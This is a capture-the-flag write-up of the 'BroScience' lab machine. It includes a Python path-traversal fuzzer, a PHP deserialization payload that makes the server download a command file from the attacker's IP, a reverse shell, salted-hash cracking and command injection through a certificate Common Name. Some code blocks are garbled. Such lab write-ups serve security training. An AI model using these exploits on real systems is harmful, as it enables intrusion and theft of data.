BroScience WriteUp
Recon/Scanning
A few interesting details can be found…
Lets quickly recon the webserver…
A quick glance gives us users, Admin status of the users on the Application and looking at the source reveals PHP! I immediately noticed indacators that points to possible File Inclusion…
Users | ADMIN | ACTIVATED | |
---|---|---|---|
Administrator | Yes | Yes | |
Bill | No | Yes | |
Michael | No | Yes | |
John | No | Yes | |
dmytro | No | Yes |
Tried to create an account, greeted with an “Account not Activated”
We got redirected too activate.php and we are unable to continue as we do not have the activation code…
With PHP, we know (some.php?thing=) is used to denote the start of a query string. This allows us to pass information back to the server therefore opening up attacks like Directory Traversal. With this knowledge, let’s try
Attack Detected!!! Input Sanitization is happening but too what extent?!
Checking out /includes the directory we found in the source code, there is one file that jumps out like a splinter on your big toe…
Error: Missing ‘path’ param? This seemed rather interesting and I played around and found it was sanitizing my input, so lets see what we can do! Rather than manually trying different paths or payloads, lets use Python to automate this…
import ssl
import urllib.parse
import asyncio
import aiohttp
async def check_payload(session, payload):
try:
= 'https://broscience.htb/includes/img.php?path=' + urllib.parse.quote(payload)
url async with session.get(url) as response:
= await response.text()
ans if 'root:' in ans:
print('Payload found:', payload)
except aiohttp.ClientError as e:
print('Error:', str(e))
async def main():
# Create a shared connection pool
= aiohttp.TCPConnector(limit=20, ssl=False)
connector async with aiohttp.ClientSession(connector=connector) as session:
with open('TravPayloads.txt') as f:
= [line.strip() for line in f]
payloads
# Create tasks for each payload
= [check_payload(session, payload) for payload in payloads]
tasks
# Run the tasks concurrently
await asyncio.gather(*tasks)
# Run the asyncio event loop
asyncio.run(main())
This could be better as this was quick and dirty, but payloads were found pretty quickly! It seems double encoding our payload is the key to bypassing this sanitation x_X
/etc/passwd
Awesome! We found our Entry Point, how can we leverage this to get User. Speaking of user, it looks like from our list of users from the application that Bill is the only user on the box. Good to know, we are looking for /home/bill/user.txt!
Gaining Access
Now that we know this application is suseptible to Path Traversal, we can start mapping out the system and find more valuable information. I attempted to search for SSH keys or anything else of value that I could find but nothing seemed to work.
We seen a few php files that we can start with most notibly login.php and register.php as well as everything in /includes. We should also look at /includes/img.php to gather how our input is being sanitized…
/includes/img.php
<?php
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
// Normalize path
$path = urldecode($path);
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>
We can see how the code is filtering our input and how double encoding bypasses this as well as why I cannot get ssh. Now just dump the other files, like index.php and login.php. A few new files can be found from all this most notably db_connect.php!
/includes/db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}?>
This will come in handy later…
Peeking at the other files in /includes
/includes/utils.php
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));
$units = array
("year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
;
)
$diff = abs($from - $to);
if ($diff < 1) {
return "Just now";
}
$suffix = (($from > $to) ? ("from now") : ("ago"));
$unitCount = 0;
$output = "";
foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}
$output .= " ".$suffix;
$output = substr($output, strlen(", "));
return $output;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
else {
} $up_cookie = $_COOKIE['user-prefs'];
}$up = unserialize(base64_decode($up_cookie));
return $up->theme;
else {
} return "light";
.
}sanitizing our input</p>
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}if (strcmp($theme, "light")) {
return "uk-light";
else {
} return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}?>
Some things worth noting here as this is alot! The use of time() inside function to generate an activation code as we could use this forge a code for a user and the __wakeup PHP magic method
The time() function returns the current Unix timestamp, which represents the number of seconds elapsed since January 1, 1970. When we seed the PRNG (Pseudo-Random Number Generator) with time(), we are essentially using the current timestamp as the seed value
I am going to safely bet we will need to use this activation function to generate a code then use that to gain access to the application. We of course want to enumerate further as an authenticated user! Lets take a look at activate.php before we begin…
activate.php
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!";
$alert_type = "success";
else {
} $alert = 'Account already activated.';
}else {
} $alert = "Invalid activation code.";
}else {
} $alert = "Invalid activation code.";
}else {
} $alert = "Missing activation code.";
}?>
<html>
<head>
<title>BroScience : Activate account</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}?>
</div>
</body>
</html>
Nothing really screams out to me other than the Avatar class code but we can’t do anything until we are authenticated but good news…
Looking at the pieces of the puzzle, we are going to create an account, POST our own Activation Code to ensure our account is created. We will need to grab the server time from the request of our registered user as that is how we will seed our activation code. I am the laziest hacker you will ever meet so I automated this…
This was not overly complicated but I could not for the life of me figure out how to translate PHP’s strtotime to Python. I decided to just run PHP to create an Activation code and use as an argument. (Im coming back for this!!!)
Bata Bing Bata Boom
I immediately noticed the new cookie that was generated upon logging in, and we observed from /includes/utils.php that it utilizes serialization techniques to store information pertaining to the theme and state.
Interesting…
So we saw the function get_theme which shows us the code for our new Cookie. If you noticed that it gets passed to unserialize and you thought about a PHP deserialization vulnerability then we think alike!
Another use case for PHP, we can attempt too create our own Cookie and replace the current user-pref value to execute single-line commands aka Remote Command Injection (Hopefully). How does this work?
First we will need to understand how we can even talk back to us in the first place! The SAVE function in our Avatar class is using another PHP function file_get_contents and by defintion is a built-in function that allows you to read the contents of a file or a URL into a string variable. Did you read that right? a URL… with this knowledge we can maybe manipulate this to read back to our server, crossing fingers!!!. It then writes this to the $imgPath variable, which we can probably set as ./filename or something that will store in the root of the application.
A few mods of the PHP code to create a new Cookie will look like…
<?php
# This stays the same
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
# Here we modify the $tmp & $imgPath to point to us
# as well as our malicious php cmd file
class AvatarInterface {
# We create the variables ourselves...
# file_get_contents is used $tmp, so we set as our server
public $tmp = "http://10.10.14.88/user.php";
# We can then save that too the $imgPath variable
public $imgPath = "./user.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}# base64 encode so we can replace values
$payload = base64_encode(serialize(new AvatarInterface));
echo $payload
?>
user.php
Alright, create our new cookie and replace the value…
We can use achieve Command Injection with PHP using a simple file like this. $_REQUEST is a SuperGlobal Variable! Basically a variable in PHP that is an associative array that contains the values of both the $_GET, $_POST, and $_COOKIE arrays. It can be used to access request parameters regardless of the HTTP method used.
Set up our web server…
I had trouble but I realized we needed to remove the (=) from our new cookie value
Downloaded ;)
Now send a request to our script with curl or browser
We can catch a shell quickly with BASH…
Set up our listener…
It seemed to drop the file every few minutes, refreshing the page will re-download our file. Could be a box issue, probably layer 8 though X_X.
If you need help with getting a reverse shell, check this out but by now you should be solid at popping shells X_x! Well, we are on the box as www-data who cannot view the flag so we will need to move laterally to Bill. Onwards to Priv Esc!
Privilege Escalation
Were in! Now its time to get our bearing. We need to get a feel for the land we just entered before we can get root. First, we need to laterally move to bill because we still cannot attain our user flag. Womp Womp!
Remember from our earlier recon, we found database information in db_connect.php.
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
Time to enumerate this PostgreSQL Database…
Grabbing everything from the users tables…
Ruh Roh Raggy! Hashes that we shall attempt to crack
We can create a custom John rule to handle the password salt which we know from the source code. Not familiar with this and want to get started with John’s Custom Rules!
You can see the custom rule added at the end of our /usr/share/john/john.conf, your location may be different. Basically all this does is prepend our value.
Or if your lazy like me, use sed…
Always make sure you keep your rockyou.txt updated or use a master list.
Lateral move completed!
Onwards and Upwards…
Since we are on a Linux box, I immediately start with seeing what access I have with sudo as well as checking the /opt directory as there is ALWAYS juicy things to find
renew.cert.sh
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
This script seems to be checking SSL certs expiration and if it is expired or about to expire, it parses fields to populate for the new cert. Hmmm, could we abuse this?
The use of $commonName stands out, if we can control this we might be able to inject into this. You see how the variable is nestled right into that path. If we can escape it then we can control it! We can test by creating a cert with a payload inside the Common Name field that hopefully will get executed. Here is an example of how this works locally…
Testing………
We own BroScience!!!
Wrapping Up
The cybersecurity exercise focused on a Medium-level machine, which involved various attack vectors like Web, Source Code Review, Deserialization, and Command Injection. Throughout the process, several crucial lessons were emphasized, highlighting the significance of cybersecurity practices to protect against potential vulnerabilities and attacks.
One of the key takeaways from the exercise was the criticality of sanitizing user input. It is essential never to trust user input outright, as malicious actors can exploit this vulnerability to execute code injection attacks or cross-site scripting (XSS). By thoroughly validating and sanitizing user input, developers can prevent the execution of malicious code and bolster the security of their applications.
The exercise also shed light on the significance of strong password practices. A password that can be easily cracked using widely known password lists, like “Rockyou,” indicates a weak and easily guessable password. Security teams must prioritize robust password complexity requirements and enforce policies that minimize the risk of password compromises. Utilizing techniques like password hashing and salting can further enhance password security.
Lastly, the exercise emphasized the value of conducting thorough source code reviews and penetration testing. These practices help identify and address security weaknesses in the early stages of development, reducing the chances of exposing vulnerable applications to potential attackers.
In conclusion, the cybersecurity exercise provided a comprehensive understanding of various attack vectors and underscored the importance of proactive security measures. By prioritizing user input validation, enforcing strong password policies, maintaining a security-conscious mindset, and conducting regular security assessments, organizations can enhance their cybersecurity posture and better defend against potential threats. Cybersecurity is an ongoing journey, and with continuous vigilance and dedication to best practices, we can stay one step ahead of malicious actors and protect sensitive data and systems effectively.
Shoutout to bmdyy for an awesome challenge!!!